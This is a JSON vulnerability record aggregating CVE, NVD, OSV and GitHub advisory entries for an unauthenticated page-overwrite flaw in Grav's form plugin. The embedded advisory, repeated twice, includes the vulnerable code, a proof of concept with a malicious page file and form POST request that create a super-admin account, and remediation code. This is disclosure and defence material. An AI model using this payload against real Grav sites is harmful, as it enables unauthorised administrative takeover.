{"id":"CVE-2026-42845","aliases":["EUVD-2026-29129","GHSA-w4rc-p66m-x6qq"],"status":"published","title":"Grav: Anonymous Page Content Overwrite via Form File Upload filename Override","description":"The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (`md`, `yaml`, `yml`, `json`, `twig`, `ini`) regardless of the configurable dangerous-extensions list. A permissive `accept` policy combined with the default `destination: self@` could otherwise let an attacker overwrite the page's own `.md` and pivot to super-admin via a `process: save` action. This vulnerability is fixed in 9.1.0.","severity":{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00741,"percentile":0.5496,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-73"],"published":"2026-05-06T23:03:13Z","modified":"2026-10-28T02:30:49Z","fixes":[{"ecosystem":"Packagist","package":"getgrav/grav-plugin-form","fixed_in":["9.1.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"getgrav/grav-plugin-form","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.1.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"getgrav/grav-plugin-form","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.1.0"}]}]}],"products":[{"vendor":"getgrav","product":"grav-plugin-form"}],"references":[{"url":"https://github.com/getgrav/grav/security/advisories/GHSA-w4rc-p66m-x6qq","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/getgrav/grav-plugin-form/commit/48bacc4187e1cff815000e526d5ca2878484867f","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42845","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-w4rc-p66m-x6qq"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42845.json","tags":["advisory"]},{"url":"https://github.com/getgrav/grav","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-42845","title":"Grav: Anonymous Page Content Overwrite via Form File Upload filename Override","description":"The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (`md`, `yaml`, `yml`, `json`, `twig`, `ini`) regardless of the configurable dangerous-extensions list. A permissive `accept` policy combined with the default `destination: self@` could otherwise let an attacker overwrite the page's own `.md` and pivot to super-admin via a `process: save` action. This vulnerability is fixed in 9.1.0.","status":"published","published":"2026-05-11T15:44:35.524Z","modified":"2026-05-12T13:49:49.704Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T13:40:35.004553Z"}],"euvd":[{"id":"EUVD-2026-29129","description":"The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (`md`, `yaml`, `yml`, `json`, `twig`, `ini`) regardless of the configurable dangerous-extensions list. A permissive `accept` policy combined with the default `destination: self@` could otherwise let an attacker overwrite the page's own `.md` and pivot to super-admin via a `process: save` action. This vulnerability is fixed in 9.1.0.","status":"published","published":"2026-05-11T15:44:35Z","modified":"2026-05-12T13:49:49Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T19:04:37.152927Z"}],"ghsa":[{"id":"GHSA-w4rc-p66m-x6qq","title":"Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override","description":"### Summary\n(Tested on Form 9.0.3 released on April, 28th)\n\nThe Form plugin's file upload handler at `user/plugins/form/classes/Form.php:583` accepts a POST-supplied `filename` parameter (`$filename = $post['filename'] ?? $upload['file']['name']`) that overrides the original uploaded filename. The override passes through `Utils::checkFilename()`, which blocks only a narrow extension list (`.php*`, `.htm*`, `.js`, `.exe`). Markdown (`.md`) is **not** blocked.\n\nA page's directory under `user/pages/` contains its `.md` content file (e.g. `default.md`, `form.md`). When a form's file upload field has `accept: ['*']` (or any policy that admits text files), an unauthenticated visitor can:\n\n1. Upload **arbitrary content** with **`filename=form.md`** (or other page-content filenames),\n2. Submit the form to trigger `Form::copyFiles()`, which **overwrites the page's own `.md` file**.\n\n### Details\n**Vulnerable code path**\n\n`user/plugins/form/classes/Form.php:580-606` (in `uploadFiles()`):\n```php\n$grav-\u003efireEvent('onFormUploadSettings', new Event(['settings' =\u003e \u0026$settings, 'post' =\u003e $post]));\n\n$upload = json_decode(json_encode($this-\u003enormalizeFiles($_FILES['data'], $settings-\u003ename)), true);\n$filename = $post['filename'] ?? $upload['file']['name'];           // ← POST-controlled\n// ...\nif (!Utils::checkFilename($filename)) {                              // ← extension blocklist only\n    return ['status' =\u003e 'error', 'message' =\u003e 'Bad filename'];\n}\n```\n\n`Utils::checkFilename()` (`system/src/Grav/Common/Utils.php:980`) blocks `..`, slashes, null bytes, leading/trailing dots, and the `uploads_dangerous_extensions` list. The default list contains: `php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe`. **`md` is not on the list**.\n\nThe MIME check (lines 627-654) uses `Utils::getMimeByFilename($filename)` against the blueprint's `accept` list. With `accept: ['*']`, all filenames pass.\n\nAfter upload, the file is held in flash storage. When the form is submitted, `Form::copyFiles()` (`user/plugins/form/classes/Form.php:1041-1074`) calls `$upload-\u003emoveTo($destination)`:\n```php\n$destination = $upload-\u003egetDestination();   // ← determined at upload time:\n                                            //   $destination = $page_dir . '/' . $filename\n$folder = $filesystem-\u003edirname($destination);\nif (!is_dir($folder) \u0026\u0026 !@mkdir($folder, 0777, true) \u0026\u0026 !is_dir($folder)) { ... }\n$upload-\u003emoveTo($destination);\n```\n\n`moveTo()` does not check whether `$destination` is an existing protected file — if `form.md` (the page's own content) already exists at the destination, it is **overwritten**.\n\nA Grav page's `.md` file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.\n\n### PoC\n\n**Setup** :\n\nAny existing page with a form like this — a \"generic upload\" form is the realistic case:\n```yaml\n---\ntitle: Upload your file\nform:\n    name: upform\n    fields:\n        - {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}\n        - {name: notes, type: text}\n    buttons:\n        - {type: submit, value: Upload}\n    process:\n        - upload: true\n        - display: thanks\n---\n```\n1. Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path `/upload`.\n\n```yaml\n---\ntitle: Pwned\nform:\n    name: pwn\n    fields:\n        - {name: dummy, type: text}\n    buttons:\n        - {type: submit, value: Submit}\n    process:\n        - save:\n            folder: '../accounts'\n            filename: 'viaup.yaml'\n            extension: yaml\n            operation: create\n            body: |\n                state: enabled\n                email: viaup@example.com\n                fullname: Via Upload\n                title: Admin\n                access:\n                  admin: { login: true, super: true }\n                  site:  { login: true }\n                hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq\n        - display: thanks\n---\n```\n(Hash above is bcrypt for `PwnPass123!`.)\n\n2. Attacker accesses the new markdown file under the original path  and loads the new markdown file `GET /upload`.\n3. Attacker sends a form POST request to `/upload` and change the form_name to whatever the payload form name is.\n Keep in mind the nonce has to be valid.\n\n```\nPOST /upload HTTP/1.1\n\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"data[_json][img]\"\n\n[]\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"data[notes]\"\n\n\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"__form-name__\"\n\npwn\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"__unique_form_id__\"\n\n8r7q1iwdnnmcgkohlbtj\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"form-nonce\"\n\n4e9417f0c7e89d1ab4e0dbe136ec78bd\n------geckoformboundary44d7ad8deb57480098493877a35ad715--\n```\n\n4. Login as a newly created super admin user.\n\n### Impact\n\nGrav pages that allows user to uploads any file (besides the ones in the blocklist) with the default `self@` configuration  is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin. \n\n### Remediation\n\nBlock sensitive page-content filenames at upload\n\nIn `user/plugins/form/classes/Form.php`, after `Utils::checkFilename()` succeeds, add a content-area-aware check:\n\n```php\n// Block files that would overwrite Grav page content if uploaded into\n// a page directory. Page templates are .md (Markdown) and .yaml/.yml\n// (frontmatter overrides). Block both for safety.\n$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));\n$pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig'];\nif (in_array($ext, $pageContentExtensions, true)) {\n    return [\n        'status'  =\u003e 'error',\n        'message' =\u003e 'File type not allowed for upload (page content files are blocked)',\n    ];\n}\n```\n\nAdd `md, yaml, yml, json, twig, ini` to the global `security.uploads_dangerous_extensions` list — these all carry executable semantics in Grav's runtime even though they are not \"PHP\".","status":"published","published":"2026-05-06T23:03:13Z","modified":"2026-05-13T14:04:35Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-20","CWE-73"],"updated_at":"2026-11-02T14:40:08.003212Z"}],"nvd":[{"id":"CVE-2026-42845","description":"The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (`md`, `yaml`, `yml`, `json`, `twig`, `ini`) regardless of the configurable dangerous-extensions list. A permissive `accept` policy combined with the default `destination: self@` could otherwise let an attacker overwrite the page's own `.md` and pivot to super-admin via a `process: save` action. This vulnerability is fixed in 9.1.0.","status":"published","published":"2026-05-11T17:16:34.157Z","modified":"2026-10-26T18:10:00.173Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T14:12:18.239974Z"}],"osv":[{"id":"CVE-2026-42845","title":"Grav: Anonymous Page Content Overwrite via Form File Upload filename Override","description":"The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (`md`, `yaml`, `yml`, `json`, `twig`, `ini`) regardless of the configurable dangerous-extensions list. A permissive `accept` policy combined with the default `destination: self@` could otherwise let an attacker overwrite the page's own `.md` and pivot to super-admin via a `process: save` action. This vulnerability is fixed in 9.1.0.","status":"published","published":"2026-05-11T15:44:35.524Z","modified":"2026-10-28T02:30:49.415814533Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"GHSA-w4rc-p66m-x6qq","title":"Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override","description":"### Summary\n(Tested on Form 9.0.3 released on April, 28th)\n\nThe Form plugin's file upload handler at `user/plugins/form/classes/Form.php:583` accepts a POST-supplied `filename` parameter (`$filename = $post['filename'] ?? $upload['file']['name']`) that overrides the original uploaded filename. The override passes through `Utils::checkFilename()`, which blocks only a narrow extension list (`.php*`, `.htm*`, `.js`, `.exe`). Markdown (`.md`) is **not** blocked.\n\nA page's directory under `user/pages/` contains its `.md` content file (e.g. `default.md`, `form.md`). When a form's file upload field has `accept: ['*']` (or any policy that admits text files), an unauthenticated visitor can:\n\n1. Upload **arbitrary content** with **`filename=form.md`** (or other page-content filenames),\n2. Submit the form to trigger `Form::copyFiles()`, which **overwrites the page's own `.md` file**.\n\n### Details\n**Vulnerable code path**\n\n`user/plugins/form/classes/Form.php:580-606` (in `uploadFiles()`):\n```php\n$grav-\u003efireEvent('onFormUploadSettings', new Event(['settings' =\u003e \u0026$settings, 'post' =\u003e $post]));\n\n$upload = json_decode(json_encode($this-\u003enormalizeFiles($_FILES['data'], $settings-\u003ename)), true);\n$filename = $post['filename'] ?? $upload['file']['name'];           // ← POST-controlled\n// ...\nif (!Utils::checkFilename($filename)) {                              // ← extension blocklist only\n    return ['status' =\u003e 'error', 'message' =\u003e 'Bad filename'];\n}\n```\n\n`Utils::checkFilename()` (`system/src/Grav/Common/Utils.php:980`) blocks `..`, slashes, null bytes, leading/trailing dots, and the `uploads_dangerous_extensions` list. The default list contains: `php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe`. **`md` is not on the list**.\n\nThe MIME check (lines 627-654) uses `Utils::getMimeByFilename($filename)` against the blueprint's `accept` list. With `accept: ['*']`, all filenames pass.\n\nAfter upload, the file is held in flash storage. When the form is submitted, `Form::copyFiles()` (`user/plugins/form/classes/Form.php:1041-1074`) calls `$upload-\u003emoveTo($destination)`:\n```php\n$destination = $upload-\u003egetDestination();   // ← determined at upload time:\n                                            //   $destination = $page_dir . '/' . $filename\n$folder = $filesystem-\u003edirname($destination);\nif (!is_dir($folder) \u0026\u0026 !@mkdir($folder, 0777, true) \u0026\u0026 !is_dir($folder)) { ... }\n$upload-\u003emoveTo($destination);\n```\n\n`moveTo()` does not check whether `$destination` is an existing protected file — if `form.md` (the page's own content) already exists at the destination, it is **overwritten**.\n\nA Grav page's `.md` file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.\n\n### PoC\n\n**Setup** :\n\nAny existing page with a form like this — a \"generic upload\" form is the realistic case:\n```yaml\n---\ntitle: Upload your file\nform:\n    name: upform\n    fields:\n        - {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}\n        - {name: notes, type: text}\n    buttons:\n        - {type: submit, value: Upload}\n    process:\n        - upload: true\n        - display: thanks\n---\n```\n1. Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path `/upload`.\n\n```yaml\n---\ntitle: Pwned\nform:\n    name: pwn\n    fields:\n        - {name: dummy, type: text}\n    buttons:\n        - {type: submit, value: Submit}\n    process:\n        - save:\n            folder: '../accounts'\n            filename: 'viaup.yaml'\n            extension: yaml\n            operation: create\n            body: |\n                state: enabled\n                email: viaup@example.com\n                fullname: Via Upload\n                title: Admin\n                access:\n                  admin: { login: true, super: true }\n                  site:  { login: true }\n                hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq\n        - display: thanks\n---\n```\n(Hash above is bcrypt for `PwnPass123!`.)\n\n2. Attacker accesses the new markdown file under the original path  and loads the new markdown file `GET /upload`.\n3. Attacker sends a form POST request to `/upload` and change the form_name to whatever the payload form name is.\n Keep in mind the nonce has to be valid.\n\n```\nPOST /upload HTTP/1.1\n\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"data[_json][img]\"\n\n[]\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"data[notes]\"\n\n\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"__form-name__\"\n\npwn\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"__unique_form_id__\"\n\n8r7q1iwdnnmcgkohlbtj\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"form-nonce\"\n\n4e9417f0c7e89d1ab4e0dbe136ec78bd\n------geckoformboundary44d7ad8deb57480098493877a35ad715--\n```\n\n4. Login as a newly created super admin user.\n\n### Impact\n\nGrav pages that allows user to uploads any file (besides the ones in the blocklist) with the default `self@` configuration  is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin. \n\n### Remediation\n\nBlock sensitive page-content filenames at upload\n\nIn `user/plugins/form/classes/Form.php`, after `Utils::checkFilename()` succeeds, add a content-area-aware check:\n\n```php\n// Block files that would overwrite Grav page content if uploaded into\n// a page directory. Page templates are .md (Markdown) and .yaml/.yml\n// (frontmatter overrides). Block both for safety.\n$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));\n$pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig'];\nif (in_array($ext, $pageContentExtensions, true)) {\n    return [\n        'status'  =\u003e 'error',\n        'message' =\u003e 'File type not allowed for upload (page content files are blocked)',\n    ];\n}\n```\n\nAdd `md, yaml, yml, json, twig, ini` to the global `security.uploads_dangerous_extensions` list — these all carry executable semantics in Grav's runtime even though they are not \"PHP\".","status":"published","published":"2026-05-06T23:03:13Z","modified":"2026-05-13T14:16:34.399984Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-20","CWE-73"],"updated_at":"2026-11-02T15:46:58.04805Z"}]}}
